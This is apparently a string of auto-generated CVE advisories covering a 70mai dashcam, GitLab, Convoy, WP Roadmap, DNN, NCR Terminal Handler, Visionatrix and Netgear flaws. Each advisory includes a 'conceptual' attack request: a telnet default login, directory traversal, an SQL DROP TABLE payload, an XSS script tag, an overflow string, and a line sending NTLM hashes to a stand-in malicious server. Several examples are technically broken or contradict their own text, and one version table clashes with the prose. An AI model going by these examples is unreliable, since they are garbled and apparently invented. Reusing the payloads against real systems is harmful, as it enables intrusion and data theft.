Author: Ameeba

Overview

A critical vulnerability has been discovered in 70mai M300 up to version 20250611, affecting components of its Telnet service. This vulnerability is potentially hazardous to any organization using the affected versions of this product, as it opens up the potential for system compromise and data leakage. This vulnerability is particularly concerning as it has been disclosed to the public and thus, malicious actors may be aware of and actively exploiting this weakness.

Vulnerability Summary

CVE ID: CVE-2025-6529
Severity: Critical (8.8 CVSS score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise or data leakage due to use of default credentials in Telnet service

Affected Products

Product | Affected Versions

70mai M300 | Up to 20250611

How the Exploit Works

The vulnerability arises from the Telnet service within the 70mai M300 product. This service, intended for remote administration of the device, is configured with default credentials, which are not enforced to be changed upon installation or setup. As such, an attacker who gains network access can simply use these default credentials to gain control of the device. This manipulation allows for an unauthorized user to potentially compromise the system and leak sensitive data.

Conceptual Example Code

Here’s a conceptual example of how an attacker might exploit this vulnerability via a simple Telnet command:

telnet target_device_ip
Trying target_device_ip...
Connected to target_device_ip.
Escape character is '^]'.
login: default_username
password: default_password
# Now the attacker has control over the device

Mitigation Guidance

The primary mitigation for this vulnerability is to apply the vendor-provided patch when it becomes available. In the absence of an immediate patch, it is recommended to use Web Application Firewalls (WAFs) or Intrusion Detection Systems (IDS) as temporary measures to detect and prevent possible attacks. Furthermore, if possible, the default credentials should be changed immediately to prevent unauthorized access.
In the meantime, users are encouraged to monitor their systems for any signs of suspicious activity, and to remain vigilant about updates from the vendor regarding this issue. It is also advisable to isolate the affected devices from the network, or place them behind a firewall until the patch is applied.

Overview

In this post, we are going to examine CVE-2025-5121, a critical security issue recently discovered in GitLab CE/EE. This vulnerability affects all versions of GitLab CE/EE from 17.11 before 17.11.4 and 18.0 before 18.0.2. The issue lies in a missing authorization check that could potentially allow compliance frameworks to be applied to projects outside their designated groups. This vulnerability is of high significance as it opens up potential system compromises and data leakages.

Vulnerability Summary

CVE ID: CVE-2025-5121
Severity: Critical (8.5 CVSS Score)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

GitLab CE | 17.11 to 17.11.3
GitLab EE | 18.0 to 18.0.1

How the Exploit Works

This exploit works by taking advantage of a missing authorization check in the compliance framework of GitLab CE/EE. As a result, unauthorized users can apply compliance frameworks to projects outside of the framework’s group. This could allow an attacker to manipulate project settings, potentially compromising the system, or leading to data leakage.

Conceptual Example Code

The following is a conceptual example of how an attacker might exploit this vulnerability. It involves sending a malicious HTTP POST request to the GitLab server.

POST /projects/:id/compliance_frameworks HTTP/1.1
Host: gitlab.example.com
Content-Type: application/json
{
"compliance_framework": {
"name": "ISO 27001",
"color": "#F00",
"description": "This is a malicious compliance framework",
"group_id": "target_group_id"
}
}

In this example, the attacker is able to set a compliance framework on a project they shouldn’t have access to by specifying the target group id in the POST data.

Mitigation Guidance

Users are advised to apply the vendor-supplied patches immediately. GitLab has released versions 17.11.4 and 18.0.2 that address this vulnerability. In the interim, the use of Web Application Firewalls (WAF) or Intrusion Detection Systems (IDS) can provide temporary mitigation. Remain vigilant, it is crucial to keep your systems updated to prevent potential exploits.

Overview

The CVE-2025-52562 is a severe security flaw found in Performave Convoy, a widely used KVM server management panel by hosting businesses. The vulnerability lies in the LocaleController component of the software. Specifically, it allows an unauthenticated remote attacker to exploit a directory traversal vulnerability, potentially leading to system compromise and data leakage. As the exploit does not require user interaction, it presents a substantial risk to businesses relying on Performave Convoy for their operations.

Vulnerability Summary

CVE ID: CVE-2025-52562
Severity: Critical (CVSS 10.0)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Performave Convoy | 3.9.0-rc3 to 4.4.0

How the Exploit Works

The directory traversal vulnerability is present in the LocaleController component of Performave Convoy. An attacker can craft a malicious HTTP request with specific locale and namespace parameters, thereby exploiting the directory traversal vulnerability. Thus, the attacker can include and execute arbitrary PHP files on the server, potentially leading to system compromise and data leakage.

Conceptual Example Code

For illustration, a conceptual example of a malicious HTTP request exploiting this vulnerability might look like this:

GET /localeController?locale=../../../../malicious.php&namespace= HTTP/1.1
Host: vulnerable-server.com

In the above example, the attacker is using the `locale` parameter in the HTTP request to traverse the directory structure (‘../../../../’) and execute a malicious PHP file (‘malicious.php’) on the server. This is a conceptual representation and might differ in real-world scenarios based on the server’s specific configurations and setup.

Recommendations for Mitigation

The vulnerability has been patched in Performave Convoy version 4.4.1. Therefore, users are strongly advised to update to this version or later to mitigate the risk. If immediate update is not possible, implementing strict Web Application Firewall (WAF) rules to filter incoming requests targeting the vulnerable endpoints can serve as a temporary workaround. Intrusion Detection Systems (IDS) can also be used to monitor and alert on potential exploitation attempts.

Overview

CVE-2025-52822 is a serious cybersecurity vulnerability related to the Iqonic Design WP Roadmap. This vulnerability, termed an SQL Injection, arises due to the improper neutralization of special elements used in an SQL command. It significantly affects the Iqonic Design WP Roadmap, a popular project management tool used by many businesses and organizations globally. Understanding and addressing this vulnerability is crucial as it could lead to system compromise or data leakage, posing potential threats to an organization’s data security and integrity.

Vulnerability Summary

CVE ID: CVE-2025-52822
Severity: High (8.5 CVSS Severity Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: A successful exploit can lead to a system compromise or data leakage.

Affected Products

Product | Affected Versions

Iqonic Design WP Roadmap | All versions up to and including 2.1.3

How the Exploit Works

The exploit works by taking advantage of the improper neutralization of special elements in an SQL command within the Iqonic Design WP Roadmap. A malicious actor can inject a nefarious SQL command, which when executed, can manipulate the database, leading to unauthorized data access, modification, or deletion. This can potentially compromise the entire system or lead to data leakage.

Conceptual Example Code

Here’s a conceptual example of how the vulnerability might be exploited. This is represented in the form of an HTTP request with a malicious payload.

POST /wp-roadmap/endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/json
{
"project_id": "1; DROP TABLE users;"
}

In this example, the malicious payload “1; DROP TABLE users;” is an SQL command that could potentially delete the ‘users’ table from the database if the application doesn’t properly sanitize user input.

Mitigation and Prevention

While waiting for a vendor patch to address this issue, organizations can use a Web Application Firewall (WAF) or Intrusion Detection System (IDS) to mitigate the risk. These tools can detect and prevent SQL injection attacks by monitoring network traffic and identifying malicious SQL commands. However, they should be seen as temporary solutions. The most effective way to prevent this exploit is to apply the vendor patch as soon as it becomes available. It is also recommended to regularly update all systems and software to the latest versions to avoid other potential vulnerabilities.

Overview

CVE-2025-52488 is a serious vulnerability discovered in DNN (formerly DotNetNuke), an open-source Web Content Management System (CMS) that operates within the Microsoft ecosystem. This vulnerability, which affects versions 6.0.0 to 10.0.0 of DNN.PLATFORM, allows for a specially crafted series of malicious interactions that could potentially expose NTLM hashes to a third-party SMB server.
This exposure is significant because it could lead to potential system compromise or data leakage, thereby impacting the security and privacy of the organizations and individuals using this platform. The severity of this issue underlines the importance of immediate attention and deployment of effective mitigation strategies.

Vulnerability Summary

CVE ID: CVE-2025-52488
Severity: High (8.6 on CVSS)
Attack Vector: Network
Privileges Required: None
User Interaction: Required
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

DNN Platform | 6.0.0 to before 10.0.1

How the Exploit Works

The exploit works by taking advantage of a flaw within the DNN platform that allows for the transmission of NTLM hashes to a third-party SMB server. An attacker can craft a series of interactions that trigger a function within the DNN platform to send NTLM hashes to a server under their control. Once the hashes are acquired, they can be cracked offline, providing the attacker with valid credentials to potentially compromise systems or leak data.

Conceptual Example Code

While the precise details of the exploit are complex, a simplified conceptual example might resemble the following:

GET /vulnerable/DNNfunction HTTP/1.1
Host: target.example.com
User-Agent: attackercrafted/1.0
SMB://malicious.server.com/NTLMsteal

This request uses a GET method to invoke a vulnerable function within the DNN platform that sends NTLM hashes to the malicious server specified in the User-Agent field.

Mitigation Guidance

Users are urged to apply the vendor patch as soon as possible. The issue has been patched in version 10.0.1 of the DNN platform. As a temporary measure, users can use a Web Application Firewall (WAF) or Intrusion Detection System (IDS) to monitor and block suspicious traffic. However, these are only temporary solutions and do not address the underlying vulnerability.

Overview

A critical vulnerability, identified as CVE-2023-47030, has been discovered in NCR Terminal Handler v.1.5.1. This vulnerability could potentially allow a remote attacker to execute arbitrary code and access sensitive information. The issue arises via a GET request to a UserService SOAP API endpoint, and the aim is to validate whether a user exists or not. Given the critical nature of the vulnerability, it’s of utmost importance for organizations using this software to understand the risk it poses and take immediate measures to mitigate the impact.

Vulnerability Summary

CVE ID: CVE-2023-47030
Severity: Critical (CVSS 9.8)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise, sensitive information disclosure

Affected Products

Product | Affected Versions

NCR Terminal Handler | v.1.5.1

How the Exploit Works

The vulnerability is exploited by sending a specially crafted GET request to a UserService SOAP API endpoint. The attacker does not need any prior authentication, and no user interaction is required, making it a highly attractive target for malicious entities. The GET request is designed to validate if a user exists, but due to improper input validation, it can allow the attacker to execute arbitrary code and access sensitive information.

Conceptual Example Code

A conceptual example of how the vulnerability might be exploited could look like this:

GET /UserService/ValidateUser?username=arbitrary_code HTTP/1.1
Host: vulnerable-terminal.example.com
Content-Type: text/xml
SOAPAction: "urn:ValidateUser"
{ "malicious_payload": "..." }

In this example, the “arbitrary_code” in the username parameter and the “malicious_payload” in the SOAPAction are placeholders for the actual malicious code an attacker would use.

Mitigation

Users of NCR Terminal Handler v.1.5.1 are strongly advised to apply the vendor patch as soon as they can to mitigate this vulnerability. In the meantime, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be used as temporary mitigation against potential attacks exploiting this vulnerability.
Remember, staying updated on the latest vulnerabilities and patches is one of the most effective ways to maintain robust cybersecurity defenses.

Overview

In the cybersecurity world, new vulnerabilities are unearthed and patched regularly. One such vulnerability has been found in Visionatrix, an AI Media processing tool. This tool, used by a variety of companies for processing media files, has been found to have a critical vulnerability that can potentially lead to a complete system takeover.
This vulnerability, identified as CVE-2025-49126, affects versions 1.5.0 to 2.5.0 of the Visionatrix software. This flaw allows for a Reflected XSS (Cross-Site Scripting) attack and can result in full application takeover and exfiltration of secrets. It’s crucial to be aware of this vulnerability, understand its implications, and apply the necessary patches to ensure the security of the system.

Vulnerability Summary

CVE ID: CVE-2025-49126
Severity: Critical (CVSS: 8.8)
Attack Vector: Network
Privileges Required: None
User Interaction: Required
Impact: Full system takeover and potential data leakage

Affected Products

Product | Affected Versions

Visionatrix AI Media Processing Tool | 1.5.0 to 2.5.0

How the Exploit Works

The vulnerability lies in the /docs/flows endpoint of the Visionatrix software. The endpoint makes use of the get_swagger_ui_html function from FastAPI, which is not intended for use with user-controlled arguments. This function does not encode or sanitize its arguments before using them to generate the HTML for the swagger documentation page.
An attacker can exploit this flaw by crafting a malicious URL to trigger a Reflected XSS attack. The user clicks on the URL, which then sends a request with the malicious script to the server. The server responds back with a page that contains the malicious script and executes in the user’s browser, potentially leading to a session takeover and access to the secrets stored in the application.

Conceptual Example Code

Here is a conceptual example of how the vulnerability might be exploited using a malicious HTTP request:

GET /docs/flows?callback=<script>malicious_code_here</script> HTTP/1.1
Host: target.example.com

In this example, the `malicious_code_here` would be the script designed to exploit the vulnerability, allowing for full system takeover and potential data leakage.

Mitigation Guidance

The developers of Visionatrix have patched this vulnerability in version 2.5.1 of the software. Users are strongly advised to update to this version or later to mitigate the risks associated with this vulnerability.
In cases where an immediate update is not possible, using a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can serve as temporary mitigation. These systems can detect and prevent XSS attacks, providing an additional layer of security. However, these are not long-term solutions and updating the software should be the priority.

Overview

The recently discovered CVE-2025-6511 vulnerability presents a critical risk to users of the Netgear EX6150 firmware version 1.0.0.46_1.0.76. This vulnerability resides in the sub_410090 function and can lead to a stack-based buffer overflow, potentially compromising the entire system or leading to data leakage. Given the severity of this vulnerability and the fact that it can be exploited remotely, it is of utmost importance that users apply the necessary patches or mitigations as soon as possible.

Vulnerability Summary

CVE ID: CVE-2025-6511
Severity: Critical (CVSS: 8.8)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise and data leakage

Affected Products

Product | Affected Versions

Netgear EX6150 | 1.0.0.46_1.0.76

How the Exploit Works

The CVE-2025-6511 vulnerability arises due to insufficient bounds checking in the sub_410090 function. An attacker can send specially crafted input to this function, causing a buffer overflow condition. This can lead to the execution of arbitrary code within the context of the application. As the vulnerability can be exploited remotely and does not require any user interaction or special privileges, it poses a significant risk.

Conceptual Example Code

Below is a conceptual example of how an attacker might exploit the vulnerability. This example uses a hypothetical HTTP request that includes a malicious payload designed to trigger the buffer overflow:

POST /sub_410090 HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "input": "A"*1024 }

In this example, the “input” field contains a string of 1024 “A” characters. If the buffer assigned to hold this input is smaller than 1024 bytes, it will result in a buffer overflow.

Recommended Mitigation

Users of the affected Netgear EX6150 firmware version are strongly advised to apply the vendor patch as soon as it becomes available. In the meantime, users can implement a Web Application Firewall (WAF) or Intrusion Detection System (IDS) as a temporary mitigation measure. These tools can help detect and block malicious traffic that attempts to exploit the vulnerability.

Overview

A critical vulnerability, identified as CVE-2023-47029, has been discovered in NCR Terminal Handler v.1.5.1. This bug allows a remote attacker to execute arbitrary code and gain access to sensitive information, posing a significant risk to users of this software. It is crucial for businesses and organizations using NCR Terminal Handler to understand this vulnerability, as it could potentially lead to system compromise and data leakage.
User data is the lifeblood of today’s digital economy, and its protection is paramount. Vulnerabilities like CVE-2023-47029 highlight the importance of robust cybersecurity measures and the need for constant vigilance in the face of evolving threats.

Vulnerability Summary

CVE ID: CVE-2023-47029
Severity: Critical (CVSS: 9.8)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise and data leakage

Affected Products

Product | Affected Versions

NCR Terminal Handler | v1.5.1

How the Exploit Works

The vulnerability resides in the UserService component of NCR Terminal Handler. The flaw enables an attacker to execute arbitrary code and retrieve sensitive information by sending a specially crafted POST request to the UserService. The system does not correctly sanitize the incoming data, leading to uncontrolled behavior and thereby allowing for remote code execution and data leakage.

Conceptual Example Code

The following is a conceptual example of how the vulnerability might be exploited:

POST /UserService HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "malicious_payload": "<inject arbitrary code here>" }

In this example, the attacker replaces `”“` with the actual malicious code to be executed on the target system.

Mitigation

It is recommended to apply the vendor patch as soon as it is available. In the meantime, using a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can serve as temporary mitigation. These tools can monitor and block malicious traffic, thus providing an additional layer of security against exploitation of this vulnerability. Always remember, staying updated and applying patches promptly are the best practices to keep your systems secure.